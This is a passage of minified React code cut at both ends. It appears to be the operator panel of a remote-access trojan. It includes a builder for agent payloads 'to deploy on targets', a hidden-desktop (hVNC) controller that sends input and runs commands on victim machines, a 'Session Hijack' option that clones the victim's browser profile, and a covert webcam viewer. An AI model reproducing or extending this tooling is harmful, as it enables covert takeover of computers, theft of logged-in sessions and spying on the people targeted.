24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),y?"Building...":"Build"]})]}),y&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(H2.filter(V=>V.at<=l).pop()??H2[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[u,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${l}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):t.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!s&&a.jsx("button",{onClick:()=>o(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:t.map(V=>{let ae={};try{ae=JSON.parse(V.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[a.jsx("div",{children:a.jsx("span",{className:"text-sm font-medium text-zerin-text",children:V.name})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[ae.sleep_interval??"—","s"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[ae.jitter_percent??"—","%"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:V.agent_pubkey,children:[(V.agent_pubkey??"").slice(0,16),"..."]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-dim",children:V.built_by})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:Mo(V.built_at)})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:Tp(V.file_size)})}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>fe(V),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),le===V.payload_id?a.jsxs("div",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>ve(V.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),a.jsx("button",{onClick:()=>we(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):a.jsx("button",{onClick:()=>we(V.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},V.payload_id)})})]}),a.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function ir({label:e,children:t}){return a.jsxs("div",{children:[a.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const yV=[{label:"Explorer",cmd:"explorer.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("circle",{cx:"12",cy:"12",r:"10"}),a.jsx("circle",{cx:"12",cy:"12",r:"4"}),a.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),a.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),a.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function bV(){const{id:e}=rl(),[t]=Sx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=m.useRef(null),s=m.useRef(null),o=m.useRef(null),l=m.useRef(null),c=m.useRef(null),u=m.useRef({x:-1,y:-1}),d=m.useRef(null),f=m.useRef(0),[p,h]=m.useState(!0),[x,g]=m.useState(!0),[y,v]=m.useState(!1),[b,w]=m.useState(60),[j,N]=m.useState(20),[z,k]=m.useState(0),[S,A]=m.useState({w:0,h:0}),[,_]=m.useState(""),[O,P]=m.useState(null),[I,Y]=m.useState(!1),[D,M]=m.useState(!1),W=m.useRef(!1),[$,H]=m.useState({w:0,h:0});m.useEffect(()=>{const U=l.current;if(!U)return;const Q=new ResizeObserver(he=>{const E=he[0];E&&H({w:E.contentRect.width,h:E.contentRect.height})});return Q.observe(U),()=>Q.disconnect()},[]);const F=m.useMemo(()=>{if(S.w<=0||S.h<=0||$.w<=0||$.h<=0)return null;const U=Math.min($.w/S.w,$.h/S.h);return{width:Math.floor(S.w*U),height:Math.floor(S.h*U)}},[S,$]),K=m.useRef({x:0,y:0,w:0,h:0}),Z=m.useRef(null),oe=m.useCallback((U,Q)=>{const he=s.current;if(!he)return;Z.current||(Z.current=he.getContext("2d"));const E=Z.current;if(!E)return;const ce=K.current;if(ce.w>0&&E.clearRect(ce.x,ce.y,ce.w,ce.h),U<0||Q<0){K.current={x:0,y:0,w:0,h:0};return}K.current={x:U-1,y:Q-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(U,Q),E.lineTo(U,Q+18),E.lineTo(U+5,Q+14),E.lineTo(U+9,Q+21),E.lineTo(U+12,Q+20),E.lineTo(U+8,Q+13),E.lineTo(U+13,Q+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),de=m.useCallback((U,Q)=>{const he=s.current;if(!he)return;const E=he.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(U,Q,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{oe(u.current.x,u.current.y)},150))},[oe]),be=m.useCallback((U,Q,he,E,ce)=>{W.current||(W.current=!0,M(!0)),A({w:Q,h:he});const J=i.current;if(!J)return;const xe=J.getContext("2d");if(!xe)return;(J.width!==Q||J.height!==he)&&(J.width=Q,J.height=he);const ke=s.current;if(ke&&(ke.width!==Q||ke.height!==he)&&(ke.width=Q,ke.height=he,Z.current=null),typeof U=="string"){const ze=c.current||new Image;c.current=ze,ze.onload=()=>{xe.drawImage(ze,0,0)},ze.src=U}else U instanceof ImageBitmap?(xe.drawImage(U,0,0),U.close()):xe.drawImage(U,0,0)},[r]),ye=m.useCallback(()=>{},[]),{isConnected:G,stats:te,controls:C,connect:q,disconnect:ne}=Nv({agentId:e||"",mode:n,onFrame:be,onDisconnect:ye});m.useEffect(()=>{e&&q()},[e,q]);const B=m.useCallback(U=>{const Q=s.current,he=i.current;if(!Q||!he||S.w===0)return{x:0,y:0};const E=Q.getBoundingClientRect(),ce=he.width/E.width,J=he.height/E.height;return{x:Math.min(Math.max(Math.round((U.clientX-E.left)*ce),0),he.width-1),y:Math.min(Math.max(Math.round((U.clientY-E.top)*J),0),he.height-1)}},[S]),le=m.useCallback(U=>{if(!p||y)return;const{x:Q,y:he}=B(U);u.current={x:Q,y:he};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Q,he)),oe(Q,he)},[p,y,B,C,oe]),we=m.useCallback(U=>{if(!p||y)return;const{x:Q,y:he}=B(U);C.sendMouseButton(U.button,1,Q,he),de(Q,he)},[p,y,B,C,de]),Ne=m.useCallback(U=>{if(!p||y)return;const{x:Q,y:he}=B(U);C.sendMouseButton(U.button,0,Q,he)},[p,y,B,C]),Ae=m.useCallback(U=>{if(!p||y)return;const{x:Q,y:he}=B(U),E=U.deltaY>0?-120:120;C.sendMouseScroll(E,Q,he)},[p,y,B,C]);m.useEffect(()=>{if(!x||y)return;const U=(E,ce)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(ce,J,0)},Q=E=>U(E,1),he=E=>U(E,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",he,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",he,!0)}},[x,y,C]),m.useEffect(()=>{C.setViewOnly(y)},[y,C]);const R=m.useCallback(U=>{w(U),C.setQuality(U)},[C]),fe=m.useCallback(async()=>{try{const U=await navigator.clipboard.readText();U&&C.sendClipboard(U)}catch{}},[C]),ve=m.useCallback(()=>{var U,Q;(Q=(U=o.current)==null?void 0:U.requestFullscreen)==null||Q.call(U)},[]),V=m.useCallback(async()=>{if(ne(),e)try{r?await a_(e):await i_(e)}catch{}window.close()},[e,ne,r]),ae=m.useCallback(async U=>{if(!(!e||!U.trim())){P(null);try{await s_(e,U.trim(),I),P(`Launched ${U.trim()}${I?" (hijack)":""}`),_(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,I]);return a.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&a.jsxs(a.Fragment,{children:[a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),a.jsx("div",{className:"flex-1"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:p?"#06B6D4":"#27272A"},title:"Mouse"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),O&&a.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${O.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:O.startsWith("Failed")?"#EF4444":"#06B6D4"},children:O}),a.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[G&&a.jsxs("div",{className:"relative",style:{width:F?F.width:void 0,height:F?F.height:void 0,display:D?"block":"none"},children:[a.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),a.jsx("canvas",{ref:s,onMouseMove:le,onMouseDown:we,onMouseUp:Ne,onWheel:Ae,onContextMenu:U=>U.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:p&&!y?"none":"default"}})]}),(!G||!D)&&a.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:a.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:G?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),a.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(U=>a.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${U*.3}s`}},U))})]})]})})]}),a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:G?"#22C55E":"#EF4444",boxShadow:G?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:G?"LIVE":"OFFLINE"})]}),a.jsx(Xs,{}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),a.jsx(Xs,{}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:U=>R(Number(U.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:U=>{const Q=Number(U.target.value);N(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),a.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:a.jsxs("select",{value:z,onChange:U=>{const Q=Number(U.target.value);k(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[a.jsx("option",{value:0,children:"Auto"}),a.jsx("option",{value:1,children:"DXGI"}),a.jsx("option",{value:2,children:"GDI"})]})}),a.jsx(Xs,{}),a.jsx(Om,{label:"MOUSE",active:p,onClick:()=>h(!p),icon:a.jsx(wV,{})}),a.jsx(Om,{label:"KEYS",active:x,onClick:()=>g(!x),icon:a.jsx(jV,{})}),a.jsx(Om,{label:"VIEW",active:y,onClick:()=>v(!y),icon:a.jsx(NV,{})}),a.jsx(Xs,{}),a.jsx(K2,{onClick:fe,title:"Sync clipboard",children:a.jsx(kV,{})}),a.jsx(K2,{onClick:ve,title:"Fullscreen",children:a.jsx(zV,{})}),r&&a.jsxs(a.Fragment,{children:[a.jsx(Xs,{}),a.jsxs("button",{onClick:()=>Y(U=>!U),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:I?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:I?"#22D3EE":"#52525B",background:I?"rgba(6, 182, 212, 0.12)":"transparent",border:I?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),yV.map(U=>a.jsxs("button",{onClick:()=>ae(U.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${U.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[U.icon,a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:U.label})]},U.cmd)),a.jsxs("button",{onClick:()=>{const U=prompt("Command to launch on hidden desktop:");U&&ae(U)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:U=>{U.currentTarget.style.color="#A1A1AA",U.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:U=>{U.currentTarget.style.color="#52525B",U.currentTarget.style.background="transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:S.w>0?`${S.w}×${S.h}`:"—"}),a.jsxs("button",{onClick:V,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:U=>{U.currentTarget.style.background="rgba(239, 68, 68, 0.12)",U.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:U=>{U.currentTarget.style.background="rgba(239, 68, 68, 0.06)",U.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[a.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Xs(){return a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function Om({label:e,active:t,onClick:n,icon:r}){return a.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function K2({onClick:e,title:t,children:n}){return a.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function wV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function jV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function NV(){return a.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function kV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function zV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function SV(){const{id:e}=rl(),t=m.useRef(null),n=m.useRef(null),r=m.useRef(null),[i,s]=m.useState(!1),o=m.useRef(!1),[l,c]=m.useState({w:0,h:0}),u=m.useCallback((g,y,v)=>{o.current||(o.current=!0,s(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:p,disconnect:h}=Nv({agentId:e||"",mode:"webcam",onFrame:u});m.useEffect(()=>{e&&p()},[e,p]),m.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=m.useCallback(async()=>{if(h(),e)try{await o_(e)}catch{}window.close()},[e,h]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono 